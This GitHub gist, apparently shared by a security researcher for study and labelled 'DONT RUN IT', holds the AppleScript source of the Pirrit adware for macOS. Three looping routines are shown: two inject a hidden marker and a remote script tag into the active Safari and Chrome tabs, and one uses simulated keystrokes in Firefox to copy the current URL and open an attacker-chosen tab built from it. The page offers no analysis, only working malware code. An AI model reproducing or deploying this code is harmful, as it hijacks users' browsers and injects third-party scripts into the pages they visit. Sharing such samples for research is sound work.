Skip to content

Instantly share code, notes, and snippets.

@aserper
Created April 9, 2016 08:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save aserper/f7961e63a89c2c0a71149544d55ee39f to your computer and use it in GitHub Desktop.
Save aserper/f7961e63a89c2c0a71149544d55ee39f to your computer and use it in GitHub Desktop.
OS X pirrit new configuration Applescript - DONT RUN IT
global _pid
set _pid to "pid_value_to_replace"
repeat
«event XFdrIjct» {}
end repeat
on «event XFdrIjct» {}
delay 0.5
try
if is_Safari_running() then
tell application "Safari"
tell application "Safari" to set page_source to do JavaScript "document.body.innerHTML;" in current tab of first window
if page_source does not contain _pid then
set theURL to URL of current tab of first window
if theURL is not equal to "about:blank" then
tell application "Safari" to do JavaScript "document.body.innerHTML='<div style=\"display:none;\">" & _pid & "</div>'+document.body.innerHTML;" in current tab of first window
tell application "Safari" to do JavaScript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\"; document.getElementsByTagName('head')[0].appendChild(js_script);" in current tab of first window
end if
end if
end tell
end if
end try
end «event XFdrIjct»
on is_Safari_running()
tell application "System Events" to (name of processes) contains "Safari"
end is_Safari_running
global _pid
set _pid to "pid_value_to_replace"
repeat
«event XFdrIjct» {}
end repeat
on «event XFdrIjct» {}
delay 0.5
try
if is_Chrome_running() then
tell application "Google Chrome" to tell active tab of window 1
set sourceHtml to execute javascript "document.getElementsByTagName('html')[0].innerHTML"
if sourceHtml does not contain _pid then
tell application "Google Chrome" to execute front window's active tab javascript "document.body.innerHTML='<div style=\"display:none;\">" & _pid & "</div>'+document.body.innerHTML;"
tell application "Google Chrome" to execute front window's active tab javascript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\"; document.getElementsByTagName('head')[0].appendChild(js_script);"
end if
end tell
end if
end try
end «event XFdrIjct»
on is_Chrome_running()
tell application "System Events" to (name of processes) contains "Google Chrome"
end is_Chrome_running
global delayTime
set delayTime to delay_time_to_set
global newTabUrl
set newTabUrl to "url_to_set_in_new_tab"
global currentUrl
set currentUrl to ""
global previousUrl
set previousUrl to ""
global newTabWithPrev
set newTabWithPrev to ""
repeat
«event XFdrIjct» {}
end repeat
on «event XFdrIjct» {}
delay (delayTime * 60)
try
if is_Firefox_running() then
tell application "Firefox" to activate
tell application "System Events"
keystroke "l" using command down
keystroke "c" using command down
delay(1)
end tell
set currentUrl to the clipboard
if currentUrl is not equal to previousUrl then
set newTabUrlWithPrev to newTabUrl
set newTabUrlWithPrev to replace_chars(newTabUrlWithPrev, "[CONTEXT_URL]", currentUrl)
tell application "Firefox"
open location newTabUrlWithPrev
end tell
set previousUrl to newTabUrlWithPrev
end if
end if
end try
end «event XFdrIjct»
on is_Firefox_running()
tell application "System Events" to (name of processes) contains "firefox"
end is_Firefox_running
on replace_chars(this_text, search_string, replacement_string)
set AppleScript's text item delimiters to the search_string
set the item_list to every text item of this_text
set AppleScript's text item delimiters to the replacement_string
set this_text to the item_list as string
set AppleScript's text item delimiters to ""
return this_text
end replace_chars
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment